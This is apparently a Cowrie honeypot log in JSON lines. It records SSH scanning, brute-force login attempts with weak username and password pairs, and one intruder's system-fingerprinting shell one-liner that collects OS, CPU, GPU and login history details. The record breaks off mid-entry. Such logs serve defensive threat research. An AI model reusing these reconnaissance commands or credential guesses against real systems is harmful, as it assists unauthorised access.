{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:10.177550Z","src_ip":"160.187.174.22","session":"f931cd4be143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":16128,"dst_ip":"159.203.135.109","dst_port":22,"session":"22c5bb44ea15","protocol":"ssh","message":"New connection: 43.160.200.19:16128 (159.203.135.109:22) [session: 22c5bb44ea15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:15.182439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:15.186257Z","src_ip":"43.160.200.19","session":"22c5bb44ea15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":49428,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bd56592a00c","protocol":"ssh","message":"New connection: 91.92.40.4:49428 (10.17.0.5:22) [session: 1bd56592a00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:15.193499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:15.201293Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:15.277327Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:15.430410Z","src_ip":"43.160.200.19","session":"22c5bb44ea15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1234qwer","message":"login attempt [oracle/1234qwer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:15.604226Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.004391Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.007998Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.011500Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.014320Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.016902Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.019977Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.022439Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.025083Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.060575Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.063989Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.067805Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.159036Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.245160Z","src_ip":"91.92.40.4","session":"1bd56592a00c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12346","message":"login attempt [root/12346] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:16.441713Z","src_ip":"43.160.200.19","session":"22c5bb44ea15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:17.689317Z","src_ip":"43.160.200.19","session":"22c5bb44ea15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.747629404067993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:19.163546Z","src_ip":"170.64.224.25","session":"2b7d4f3f47f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40386,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9ec6112e888","protocol":"ssh","message":"New connection: 194.59.206.2:40386 (10.17.0.5:22) [session: a9ec6112e888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:20.813804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:20.817972Z","src_ip":"194.59.206.2","session":"a9ec6112e888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:20.899395Z","src_ip":"194.59.206.2","session":"a9ec6112e888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:20.985814Z","src_ip":"194.59.206.2","session":"a9ec6112e888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.34.123","src_port":38168,"dst_ip":"159.203.135.109","dst_port":22,"session":"98f3a007b0a2","protocol":"ssh","message":"New connection: 162.144.34.123:38168 (159.203.135.109:22) [session: 98f3a007b0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:34.001972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:34.006040Z","src_ip":"162.144.34.123","session":"98f3a007b0a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:34.095787Z","src_ip":"162.144.34.123","session":"98f3a007b0a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"popcat","password":"popcat123","message":"login attempt [popcat/popcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:34.365033Z","src_ip":"162.144.34.123","session":"98f3a007b0a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:35.747475Z","src_ip":"162.144.34.123","session":"98f3a007b0a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44580,"dst_ip":"159.203.135.109","dst_port":22,"session":"dec4627c82a4","protocol":"ssh","message":"New connection: 160.187.174.22:44580 (159.203.135.109:22) [session: dec4627c82a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:36.519716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:36.523684Z","src_ip":"160.187.174.22","session":"dec4627c82a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:36.769204Z","src_ip":"160.187.174.22","session":"dec4627c82a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:37.488281Z","src_ip":"160.187.174.22","session":"dec4627c82a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:38.731313Z","src_ip":"160.187.174.22","session":"dec4627c82a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":44416,"dst_ip":"159.203.135.109","dst_port":22,"session":"132232d21d1e","protocol":"ssh","message":"New connection: 66.29.142.197:44416 (159.203.135.109:22) [session: 132232d21d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:38.886348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:38.890558Z","src_ip":"66.29.142.197","session":"132232d21d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS